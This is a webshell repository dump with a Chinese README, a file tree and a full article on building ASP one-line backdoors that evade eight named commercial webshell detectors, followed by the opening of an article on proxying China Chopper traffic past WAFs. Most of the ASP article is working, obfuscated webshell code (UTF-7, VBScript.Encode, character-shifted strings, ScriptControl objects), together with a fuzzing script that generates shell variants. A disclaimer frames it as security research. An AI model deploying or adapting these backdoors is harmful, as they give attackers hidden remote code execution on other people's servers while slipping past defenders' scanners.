├── README.md ├── docs ├── asp-webshell-detect-bypass │ ├── Ddun-fuzz.png │ ├── asp-compare.png │ ├── asp-process.png │ ├── asp-webshell-detect-bypass.md │ ├── asp.dll.png │ ├── bypass-1.png │ ├── bypass-all-of-them.png │ ├── connectglorys.png │ ├── create-obj.png │ ├── detection.png │ ├── enum-object.png │ ├── gloryspage.png │ ├── huge-fuzz.png │ ├── hws-jixian.png │ ├── safedog-bypass.png │ ├── safedog-setting.png │ ├── splitbug.png │ ├── utf7-shell.png │ └── webdir+.png ├── china-chopper-http-proxy │ ├── CaiDao-Unicode-Webshell.png │ ├── CaiDaoProxy.png │ ├── Unicode-Source-Class.png │ ├── china-chopper-http-proxy.md │ └── show.gif ├── inject-interceptor-hide-webshell │ ├── absgethandler.png │ ├── absgethandlerexecutionchain.png │ ├── applyprehandle.png │ ├── eval.png │ ├── filterchain.png │ ├── gethandler.png │ ├── inject-interceptor-hide-webshell.md │ ├── order.png │ └── spel.png ├── php-webshell-detect-bypass │ ├── bypass-1.png │ ├── communication.png │ ├── failed-1.png │ ├── failed-2.png │ ├── failed-3.png │ ├── php-webshell-detect-bypass.md │ ├── success-1.png │ ├── success-2.png │ ├── success-3.png │ ├── success-4.png │ ├── success-5.png │ ├── success-6.png │ ├── success-7.png │ ├── success-8.png │ ├── tips-1.png │ ├── tips-2.png │ ├── tips-3.png │ ├── tips-4.png │ ├── tips-5.png │ ├── warning-1.png │ └── warning-2.png ├── spring-inject-webshell │ ├── images │ │ ├── ApplicationContext-extends-interfaces.png │ │ ├── ApplicationContext-subtypes.png │ │ ├── DispacherServlet.png │ │ ├── HandlerMapping.png │ │ ├── RequestContextUtils.png │ │ ├── currentRequestAttributes.png │ │ ├── getCurrentWebApplicationContext.png │ │ ├── response-01.png │ │ ├── response-02.png │ │ └── video.gif │ └── spring-inject-webshell.md └── using-java-reflection-and-ClassLoader-bypass-webshell-detection │ ├── ClassLoader.png │ ├── Process.png │ ├── ProcessBuilder-check.png │ ├── ProcessBuilder-cmd.png │ ├── ProcessBuilder-reflect-start.png │ ├── ProcessBuilder-shell.png │ ├── ProcessBuilder.start.png │ ├── ProcessImpl-jdk6.png │ ├── ProcessImpl.png │ ├── ProcessImpl.start.png │ ├── Runtime-constructor.png │ ├── Runtime.exec.png │ ├── forName.png │ ├── local-check.png │ ├── relations.png │ ├── scanner-check.png │ ├── shellpub-check.png │ └── using-java-reflection-and-ClassLoader-bypass-webshell-detection.md └── webshell ├── asp ├── bypass-all.asp ├── create-activex-object.asp ├── glorysday.asp ├── use-html-annotator-bypass.asp ├── utf7-bypass.asp └── vbencode-bypass.asp ├── jsp ├── CaiDao-Webshell-Password-LandGrey.jsp ├── ProcessBuilder-cmd.jsp ├── ProcessBuilder-reflect-cmd.jsp └── Runtime-reflect-cmd.jsp └── php ├── array_intersect_uassoc-filename-last-char-must-be-r.php ├── array_intersect_uassoc-filename-last-char-must-be-s.php ├── array_intersect_uassoc-headers-accept-r.php ├── array_intersect_ukey-cookie-ass.php ├── array_intersect_ukey.php ├── array_udiff_assoc.php ├── bypass-imagecreatefromgif-pass-00.gif └── forward_static_call_array-referer-ass.php /README.md: -------------------------------------------------------------------------------- 1 | ## Webshell-Detect-Bypass 2 | 3 | **此项目用来存放我绕过专业工具检测的Webshell研究文章和免杀的Webshell源码.** 4 | 5 | 6 | 7 | ### 免责声明 8 | 9 | ``` 10 | 1. 在对方未授权的情况下,直接或间接利用本项目涉及到的 webshell 研究样本攻击目标是违法行为. 11 | 2. 本项目涉及到的 webshell 仅为安全研究和授权情况下使用,其使用人员有责任和义务遵守当地法律条规. 12 | 3. 本项目涉及到的 webshell 样本及文章仅为促进安全防御研究使用,研究人员对因误用该程序造成的资产损坏和损失概不负责. 13 | ``` 14 | 15 | 16 | 17 | ### Articles 18 | 19 | - [**php一句话木马检测绕过研究**](https://github.com/LandGrey/webshell-detect-bypass/tree/master/docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md) 20 | - [**利用Java反射和类加载机制绕过JSP后门检测**](https://github.com/LandGrey/webshell-detect-bypass/tree/master/docs/using-java-reflection-and-ClassLoader-bypass-webshell-detection/using-java-reflection-and-ClassLoader-bypass-webshell-detection.md) 21 | - [**构造免杀的asp一句话木马**](https://github.com/LandGrey/webshell-detect-bypass/tree/master/docs/asp-webshell-detect-bypass/asp-webshell-detect-bypass.md) 22 | - [**菜刀HTTP流量中转代理过WAF**](https://github.com/LandGrey/webshell-detect-bypass/tree/master/docs/china-chopper-http-proxy/china-chopper-http-proxy.md) 23 | - [**基于内存 Webshell 的无文件攻击技术研究**](https://github.com/LandGrey/webshell-detect-bypass/tree/master/docs/spring-inject-webshell/spring-inject-webshell.md) 24 | - [**利用 intercetor 注入 spring 内存 webshell**](https://github.com/LandGrey/webshell-detect-bypass/tree/master/docs/inject-interceptor-hide-webshell/inject-interceptor-hide-webshell.md) 25 | 26 | 27 | 28 | 29 | ### Webshells 30 | 31 | - #### [php](https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/php) 32 | 33 | - #### [jsp](https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/jsp) 34 | 35 | - #### [asp](https://github.com/LandGrey/webshell-detect-bypass/tree/master/webshell/asp) 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/Ddun-fuzz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/Ddun-fuzz.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/asp-compare.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/asp-compare.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/asp-process.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/asp-process.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/asp-webshell-detect-bypass.md: -------------------------------------------------------------------------------- 1 | ### 0x00:前言 2 | 3 | 随着时间的推移和其它新型动态网页技术的兴起,使用ASP(Active Server Page)技术构建的Web应用越来越少。ASP的衰落、旧资料和链接的失效、前辈们早期对ASP较多的研究,都导致了新型ASP网站后门和技术研究的减少。 4 | 5 | 本篇文章主要梳理ASP一句话Webshell的构建和规避检测软件达到源文件免杀的思路。最终构建能够同时绕过以下表格中8个专业木马查杀工具和平台检测的Webshell,构造出零提示、无警告、无法被检测到的ASP一句话木马后门。 6 | 7 | | 编号 | 名称 | 参考链接 | 8 | | ---- | ------------------------------- | ---------------------------------------- | 9 | | 1 | 网站**安全狗**(IIS 4.0) | http://download.safedog.cn/download/software/safedogIISV4.0.exe | 10 | | 2 | **D盾Web查杀** V2.0.9 | http://www.d99net.net/down/WebShellKill_V2.0.9.zip | 11 | | 3 | **D盾防火墙** v2.0.6.92 | http://www.d99net.net/down/d_safe_2.0.6.92.zip | 12 | | 4 | **深信服**WebShellKillerTool(2017) | http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip | 13 | | 5 | **360主机卫士**v2.0.5.9 | http://down-www.newasp.net/pcdown/soft/dys/360WebSafe_Setup.rar | 14 | | 6 | **护卫神**云查杀系统(V4.5) | http://down.huweishen.com/free/HwsKill.zip | 15 | | 7 | **OpenRASP** WEBDIR+ Webshell检测 | https://scanner.baidu.com | 16 | | 8 | **河马专业版**查杀Webshell | http://n.shellpub.com/ | 17 | 18 | ### 0x01:ASP执行流程和原理 19 | 20 | ASP脚本原生支持通过**VBScript**和**JScript**两种脚本语言来建立动态页面,本质上是将PC端的脚本执行能力迁移到了服务器。使用ASP技术构建的网站,通常都是部署在IIS或PWS服务器上。 21 | 22 | 借用一个简图表示浏览器请求一个ASP脚本的流程: 23 | 24 | ![ASP脚本工作流程](asp-process.png) 25 | 26 | > 当Web应用服务器(IIS)判断出请求是访问ASP脚本后,自动通过**Isapi**模块调用ASP脚本的解释运行引擎**asp.dll**。asp.dll从文件系统或内部缓冲区中获取ASP脚本的文本内容,然后进行语法分析并解释执行。 27 | > 28 | 29 | 如下图所示,在IIS服务器的"处理程序映射"配置中,可以设置特定路径文件的解析引擎。 30 | 31 | ![ASP脚本工作流程](asp.dll.png) 32 | 33 | 34 | 35 | ASP脚本中的代码块一般被包裹在`<% %>`标签中,默认以VBscript语言进行解释。除此之外,还可以使用 `<%@ language="VBscript" %>`或者 36 | 37 | ```vbscript 38 | 39 | ``` 40 | 41 | 标签,显性的告诉服务器脚本使用VBscript语言进行解释。同理可将language指定为`JScript`,则表示用微软实现的JavaScript语言解释服务器上的ASP脚本中的代码。ASP脚本中的基本语法可参考ASP、VbScript和JScript各自的参考手册,本文不再赘述。 42 | 43 | ### 0x02:ASP支持的注释方式 44 | 45 | ASP脚本中支持**五种注释方式** 46 | 47 | ``` 48 | ' 单引号 (单行注释) 49 | REM rem+空格 (单行注释) 50 | // 双斜线 (单行注释,VBscript,JScript可用,仅支持IIS) 51 | HTML注释符 (单行注释,VBscript可用,仅支持IIS) 52 | /* */ 多行注释符 (多行注释,JScript可用) 53 | ``` 54 | 55 | ### 0x03:ASP一句话后门现状 56 | 57 | ASP脚本中,主要用以下三个VBscript函数执行代码,也是我们构造ASP一句话木马的**入口**。下面是用三个函数分别构建对应长度最短的密码为`0`的ASP一句话后门示例: 58 | 59 | - Eval 60 | 61 | `<%eVAl reQuEst(0)%>` 62 | 63 | - Execute 64 | 65 | `<%exECuTe ReqUEst(0)%>` 66 | 67 | - ExecuteGlobal 68 | 69 | `<%eXECutegLobaL rEquEst(0)%>` 70 | 71 | 遗憾的是VBscript语言和其它高级语言相比,语法结构偏向简单。代码层面上很难隐藏上面三个函数的敏感词`Eval`、`Execute`和`ExecuteGlobal` 。 72 | 73 | 目前用的较多的隐藏以上三个敏感词的两种方式如下: 74 | 75 | - **使用UTF-7编码脚本** 76 | 77 | 一个密码为"LandGrey"的原始ASP一句话脚本代码如下: 78 | 79 | ```asp 80 | <%@codepage=65000%> 81 | <%response.codepage=65001:eval(request("LandGrey"))%> 82 | ``` 83 | 84 | UTF-7编码后[utf7-bypass.asp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/asp/utf7-bypass.asp)脚本内容如下: 85 | 86 | ```asp 87 | <%@codepage=65000%> 88 | <% 89 | +AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk- 90 | %> 91 | ``` 92 | 93 | 这种方式可以**躲过较多webshell检测软件查杀**,但是D盾Webshell查杀工具,提示脚本使用了UTF-7编码,并不能做到完全不被察觉。 94 | 95 | ![UTF-7编码一句话](utf7-shell.png) 96 | 97 | - **使用VBScript.Encode功能编码脚本** 98 | 99 | ASP脚本默认可以使用内置的Encoder工具,对代码进行混淆,以保护源码的安全性。写一个vbs脚本,内容如下: 100 | 101 | ```vb 102 | ExecuteGlobal request("LandGrey") 103 | ``` 104 | 105 | 使用微软的工具运行命令`screnc.exe script.vbs script.vbe`,得到结果 106 | 107 | ```vb 108 | #@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@ 109 | ``` 110 | 111 | 然后就可以构建一个密码为"LandGrey"的编码混淆后的一句话木马脚本。注意里面有不可打印字符,需要使用的话,请下载[vbencode-bypass.asp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/asp/vbencode-bypass.asp) 112 | 113 | ```asp 114 | <%@ LANGUAGE = "VBScript.Encode"%> 115 | <%#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@%> 116 | ``` 117 | 118 | 这种方式也可以绕过较多的查杀工具,但D盾会解码混淆后的脚本,然后再判断是否是恶意脚本,构造出来的一句话脚本木马依然会被查杀。 119 | 120 | 121 | 接着就陷入了较长时间的进度停滞,堆积各种代码姿势和测试已经公开的一句话木马,均不能躲过"**D盾**"的毒手。 122 | 123 | 期间人工测试了大量代码,也试图通过fuzzing,来构造`eval{some-char}RequEst("LandGrey") `形式的代码,尝试找到可以连接在eval和request之间的特殊字符,让ASP引擎既能正常解析脚本,又能绕过软件检测,结果失败了。 124 | 125 | ### 0x04:研究思路梳理 126 | 127 | 从以上小节的相关介绍可以看出目前构造完全免杀的ASP一句话木马的主要困难点: 128 | 129 | - ASP网页构建技术出现时间较早,相关技术较为成熟 130 | - 难找到以往从没出现过的新型技术构建一句话木马 131 | - 构建ASP网页相关的语法结构偏向简单 132 | - ASP Webshell被限定在仅使用一个ASP脚本,构造一句话木马 133 | - 各种成熟的Webshell查杀工具对以往各类一句话木马均有所防范 134 | 135 | 要成功构造出能同时绕过以上表格中8款Webshell检测工具和平台的ASP一句话木马,存在一定的困难,不梳理下构造思路,最终很可能会做无用功。 136 | 137 | 虽然如此,但是现在研究构造免杀的ASP一句话木马也存在一定的有利条件: 138 | 139 | - ASP构建的Web应用的减少直接导致查杀软件对**ASP木马查杀的重视程度降低** 140 | - 针对ASP木马的查杀技术还停留在**正则表达式特征匹配**方面 141 | - 大多数Webshell检测工具的**ASP特征库版本很久没有更新**了 142 | 143 | 想要绕过检测,可以进行以下操作 144 | 145 | 1. 先收集以往的各种ASP一句话木马样本 146 | 2. 多使用几种最新版的本地查杀工具进行**断网检测**,交叉验证,比对查杀情况 147 | 3. 针对所有的ASP一句话木马样本使用的技术进行简单分类 148 | 4. 重点分析能侥幸绕过一两款工具的单个木马样本 149 | 5. 熟读语法手册和官方文档和原木马样本,不断增删代码,找到绕过检测的"命脉" 150 | 6. 结合木马所使用的技术方法进行Webshell语法特性方面的深入挖掘 151 | 7. 找到目前已知所有可以执行ASP代码或命令的函数或语法特性,进行相关拓展或替换 152 | 8. 针对单个查杀效果较好的本地工具,不断进行手工测试绕过,必要时辅助Fuzzing技术 153 | 154 | ### 0x05:绕过D盾检测 155 | 156 | 上面介绍了,既然D盾规则库比较全,那就先从突破**D盾Web查杀**工具开始。 157 | 158 | #### 一. 填充垃圾数据插入特殊字符串绕过 159 | 160 | 经过0x03小节的分析和大量测试,我不仅怀疑现在是否还能找到仅通过单个脚本,就能构造出绕过D盾Webshell查杀的ASP一句话木马。直到我偶然发现下面代码中一个有趣的地方: 161 | 162 | ![注释符的特性](bypass-1.png) 163 | 164 | 第二行代码用单引号注释掉了`%>`符号,按理来说,对脚本的执行并没有影响。但是发现如下图,ASP引擎忽略了单引号注释符,将脚本中第一个`%>`以后的字符全部截断,而且同时D盾也查不出来脚本有异常了。 165 | 166 | ![ASP引擎截断](splitbug.png) 167 | 168 | ASP引擎和D盾的解析如此相似,内部实现可以看成进入`<%`符号时,就急于寻找`%>`符号闭合这段代码,而造成忽略单引号注释符和造成代码截断的情况。以此为突破口,人肉fuzzing,终于找到绕过D盾,但可以让ASP引擎解析的一段代码[glorysday.asp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/asp/glorysday.asp): 169 | 170 | ![](huge-fuzz.png) 171 | 172 | 构造以上代码需要: 173 | 174 | - 利用**注释符** 175 | - 利用`'%>`和`'<%`分别闭合前后标签 176 | - 填充大量垃圾`<%%>`标签,且最后文件体积大小要合适(测试发现文件大小约>0.97 MB) 177 | - 必须要在**一定位置**插入至少一个``字符串 178 | 179 | 页面浏览该脚本页面,就会发现很多作为注释符,但没生效的单引号 180 | 181 | ![](gloryspage.png) 182 | 183 | 使用Cknife可以正常连接该一句话 184 | 185 | ![](connectglorys.png) 186 | 187 | 上面提到的的特殊位置插入``是绕过检测的必要手段,不能增减一个字符。具体原因可能和D盾软件内部实现的Bug有关,这里不深入追究,感兴趣的同学可以自己接着去研究。 188 | 189 | 脚本中作为注释符号的单引号,可以使用其它三种注释符替换,依然可以绕过。 190 | 191 | #### 二. 使用``百分百绕过D盾检测 192 | 193 | 靠着运气和玄学的成份,我们绕过了**D盾Web查杀**检测。既然注释符号和``符号对D盾来说会产生意想不到的Bug效果,那么猜想,可能会有其它更简单的方式,绕过D盾的检测。 194 | 195 | 首先选个一定会被杀掉的简单ASP一句话脚本: 196 | 197 | ```asp 198 | <% 199 | execute(request("LandGrey")) 200 | %> 201 | ``` 202 | 203 | 我们在脚本中的第一个`<%`符号标记后面,`execute`标记前面,插入不同字符,查看D盾的检测反应。用下面的Python脚本在两个标记中间插入ascii值为0-255的字符,批量生成测试脚本 204 | 205 | ```python 206 | #!/usr/bin/env python 207 | # coding:utf-8 208 | import os 209 | 210 | 211 | def generate(count): 212 | template = """ 213 | <% 214 | {0} 215 | execute(request("LandGrey")) 216 | %>""".format(chr(count)) 217 | with open(os.path.join(path, "fuzz_{}.asp".format(count)), 'w') as f: 218 | f.write(template) 219 | 220 | path = r"/path/to/yours/" 221 | 222 | for c in range(0, 256): 223 | generate(c) 224 | ``` 225 | 226 | 然后用D盾检测,出现了较为意外的结果,发现256个文件中,只检测出来了122个Webshell。 227 | 228 | ![](Ddun-fuzz.png) 229 | 230 | 选一个没有检测到的脚本fuzz_34.asp,发现只是增加了一个双引号`"`。当然,多个`"`双引号这个脚本也不能正常执行了。 231 | 232 | 然后就结合四种VBscript可用的注释符,尝试找到能让脚本能正常执行,又绕过工具检测的方法。结果发现使用``注释符加双引号`"`的形式,构造出``字符串,就可以利用D盾的软件缺陷,完全绕过D盾的ASP木马检测。让先前被杀的脚本,插上放飞的翅膀。 233 | 234 | 一个可以绕过D盾检测的简单脚本[use-html-annotator-bypass.asp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/asp/use-html-annotator-bypass.asp)如下: 235 | 236 | ```asp 237 | <% 238 | 239 | execute request("LandGrey") 240 | %> 241 | ``` 242 | 243 | 其它几乎所有的ASP木马脚本,只要在上面提到的正确位置插入了``字符串,都可以绕过D盾的检测。 244 | 245 | ### 0x06: 绕过安全狗检测 246 | 247 | 在"**0x05:绕过D盾检测**"部分,我们找到了两种绕过方法。有趣的是,测试发现安全狗也部分存在``绕过的Bug问题。 248 | 249 | #### 一.使用``符号绕过检测 250 | 251 | 如下图的两个脚本 252 | 253 | ![](asp-compare.png) 254 | 255 | 用安全狗进行检测,只要插入了``字符串,就可以绕过。 256 | 257 | ![](safedog-bypass.png) 258 | 259 | #### 二. 其它多种方式绕过 260 | 261 | 其它绕过安全狗检测的方式还是比较多的,前面的VBscript encode脚本[vbencode-bypass.asp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/asp/vbencode-bypass.asp)就可以绕过。另外,再列出来两种利用语法特性绕过的示例程序: 262 | 263 | ##### 方法一:请求判断 264 | 265 | ```asp 266 | <%if Request("LandGrey")<>"" then ExecuteGlobal request("LandGrey") end if %> 267 | ``` 268 | 269 | ##### 方法二:request变量替换 270 | 271 | ```asp 272 | <%if request("LandGrey")<>""then session("LandGrey")=request("LandGrey"):end if:if session("LandGrey")<>"" then execute session("LandGrey")%> 273 | ``` 274 | 275 | ### 0x07: 绕过护卫神检测 276 | 277 | 生活为你推开大门,打开一扇窗的同时,不会再为你预留一个狗洞。上面讲的``方法并不是无敌的存在,绕不过护卫神的检测。 278 | 279 | 所以继续重拾老本行,继续查看官方语法手册。护卫神有两种查杀模式,对于"**极限模式**",用VBscript的两种类事件可以绕过检测 280 | 281 | ##### 一. 利用类初始化事件绕过 282 | 283 | ```vbscript 284 | <% 285 | Class LandGrey 286 | Private Sub Class_Initialize 287 | eval (request("LandGrey")) 288 | End Sub 289 | End Class 290 | 291 | Set X = New LandGrey 292 | %> 293 | ``` 294 | 295 | ##### 二. 利用类卸载事件绕过 296 | 297 | ```vbscript 298 | <% 299 | Class LandGrey 300 | Private Sub class_terminate 301 | eval (request("LandGrey")) 302 | End Sub 303 | End Class 304 | 305 | Set X = New LandGrey 306 | Set X = Nothing 307 | %> 308 | ``` 309 | 310 | ![](hws-jixian.png) 311 | 312 | ##### 三. 花式语法绕过 313 | 314 | 然而选了"**通用模式**"后,上面两个一句话木马就都失效了。但还是有方法能同时绕过护卫神的两种模式,用下面的[bypass-all.asp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/asp/bypass-all.asp)脚本(密码"LandGrey")即可 315 | 316 | ```asp 317 | <% 318 | eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%142%163%176%166%137%180%167%187%100%107")) 319 | 320 | Function fun(Str): 321 | Str = Split(Str,"%") 322 | For x=1 To Ubound(Str) 323 | fun=fun&Chr(Str(x)-66) 324 | Next 325 | End Function 326 | %> 327 | ``` 328 | 329 | ### 0x07: 总结 330 | 331 | 其余的工具和平台都大同小异,效果远不如D盾和护卫神,没必要单独针对绕过。上面的[bypass-all.asp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/asp/bypass-all.asp)脚本就足够绕过上面的表格中所有的平台和工具了。 332 | 333 | 最后再给出一个可以绕过表格中所有工具和平台检测的一句话脚本[create-activex-object.asp](https://github.com/LandGrey/webshell-detect-bypass/blob/master/webshell/asp/create-activex-object.asp),密码"LandGrey"。其原理是利用ASP内置的CreateObject创建ScriptControl组件对象,然后执行VBscript代码。VBscript代码中接受来自请求的参数变量值,并当作VBscript代码执行。 334 | 335 | ```asp 336 | <%@ language = VBscript %> 337 | <% 338 | SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1") 339 | LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT" 340 | LandGrey.AddObject "REsponse", Response 341 | LandGrey.AddObject "r"&chr(101)&"quEst", requesT 342 | LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn 343 | LandGrey.AddObject "serv"&chr(101)&"r", serVer 344 | LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application 345 | LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)&")") 346 | %> 347 | ``` 348 | 349 | ![](bypass-all-of-them.png) 350 | 351 | ### 参考链接: 352 | 353 | https://github.com/search?utf8=%E2%9C%93&q=webshell&type= 354 | 355 | http://www.cnblogs.com/LittleHann/p/5016999.html 356 | 357 | http://www.365jz.com/handbook/asp/ 358 | 359 | -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/asp.dll.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/asp.dll.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/bypass-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/bypass-1.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/bypass-all-of-them.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/bypass-all-of-them.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/connectglorys.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/connectglorys.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/create-obj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/create-obj.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/detection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/detection.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/enum-object.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/enum-object.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/gloryspage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/gloryspage.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/huge-fuzz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/huge-fuzz.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/hws-jixian.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/hws-jixian.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/safedog-bypass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/safedog-bypass.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/safedog-setting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/safedog-setting.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/splitbug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/splitbug.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/utf7-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/utf7-shell.png -------------------------------------------------------------------------------- /docs/asp-webshell-detect-bypass/webdir+.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/asp-webshell-detect-bypass/webdir+.png -------------------------------------------------------------------------------- /docs/china-chopper-http-proxy/CaiDao-Unicode-Webshell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/china-chopper-http-proxy/CaiDao-Unicode-Webshell.png -------------------------------------------------------------------------------- /docs/china-chopper-http-proxy/CaiDaoProxy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/china-chopper-http-proxy/CaiDaoProxy.png -------------------------------------------------------------------------------- /docs/china-chopper-http-proxy/Unicode-Source-Class.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LandGrey/webshell-detect-bypass/a7057c5c54e03c9f2a1afe0b5546ef14b8e81bc6/docs/china-chopper-http-proxy/Unicode-Source-Class.png -------------------------------------------------------------------------------- /docs/china-chopper-http-proxy/china-chopper-http-proxy.md: -------------------------------------------------------------------------------- 1 | ### 0x00:前言 2 | 3 | 在实际的渗透测试中,Webshell真正免杀的第一步就是确保 Webshell 的源脚本免杀,其次是传输内容的编码混淆。 4 | 5 | 但仅将 request 包内容进行编码,发送到服务器是远远不够的;部分 WAF 或者信息防泄漏系统还会对网页的 response 返回包流量进行检测。这时候,无论源脚本的免杀构造多精巧,request 包编码的多复杂,response 返回的明文内容都会暴露它是一个彻底的 Webshell 脚本。 6 | 7 | 目前网络上一些公开客户端,通常仅支持 request 包的自定义编码功能,服务器的代码执行 response 结果通常是明文状态,且无法定义方法进行服务端 response 内容的编码,并最后解码后展示执行结果。 8 | 9 | 本篇文章主要分享自己为解决以上问题,根据 caidao.exe,编写普适的本地代理脚本—CaiDaoProxy.py,绕过WAF和流量检测软件对一句话 Webshell 检测的相关思路。 10 | 11 | ### 0x01:原因 12 | 13 | 使用 caidao.exe (20160620 版 **MD5: AC86066FFD58779F4C0DB5030574B0CB**) 进行 CaiDaoProxy.py 的开发大致有以下几个原因: 14 | 15 | - 20160620 版本后的 caidao.exe 拥有配置文件,可以直接修改配置文件中发往服务器的语句 16 | - 中间人 Proxy 拦截修改模式对流量的可操作性较强,可随意修改发送包和响应包的任意内容 17 | 18 | 19 | - 避免为解决中间流量编码混淆等问题重复造轮子,制作 "新型菜刀" 客户端 20 | - 表面用的是普通的 caidao.exe,其实用的是过WAF版的CaiDaoProxy,还是有点意思的 21 | 22 | 23 | 24 | ### 0x02:原理 25 | 26 | 一言以蔽之:CaiDaoProxy.py 是一个中间人HTTP流量代理脚本。 27 | 28 | 它可以在 caidao.exe 发送给目标的 request 内容、目标返回给 caidao.exe 的 response 内容上进行修改,以完成在仅修改菜刀配置文件 caidao.conf 的基础上,结合特定的 Webshell 完成目标到 caidao.exe 之间的流量编码混淆,达到躲过 